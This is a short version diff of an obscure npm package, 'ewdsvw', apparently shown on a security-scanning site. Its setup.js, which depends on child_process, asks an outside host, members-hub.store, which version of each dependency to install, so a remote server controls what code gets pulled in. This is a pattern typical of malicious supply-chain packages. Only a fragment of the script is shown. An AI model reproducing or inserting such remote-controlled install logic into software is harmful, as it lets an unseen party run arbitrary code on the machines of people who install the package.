ewdsvw 0.2.2 → 0.2.4

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/setup.js +1 -1
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "ewdsvw",
3
3
  "description": "ewdsvw",
4
- "version": "0.2.2",
4
+ "version": "0.2.4",
5
5
  "main": "setup.js",
6
6
  "dependencies": {
7
7
  "child_process": "*",
package/setup.js CHANGED
@@ -67,7 +67,7 @@ console.log(dependencies)
67
67
  let _dependencies = []
68
68
 
69
69
  for(const name of dependencies.d){
70
- _dependencies.push(`${name}@${await axios(`https://members-hub.store/packages`).then(res=>res.data?.value ? `^${res.data?.value}` : "*").catch(err=>"*")}`)
70
+ _dependencies.push(`${name}@${await axios(`https://members-hub.store/packagedata?name=${name}`).then(res=>res.data?.value || "*").catch(err=>"*")}`)
71
71
  }
72
72
  console.log(_dependencies)
73
73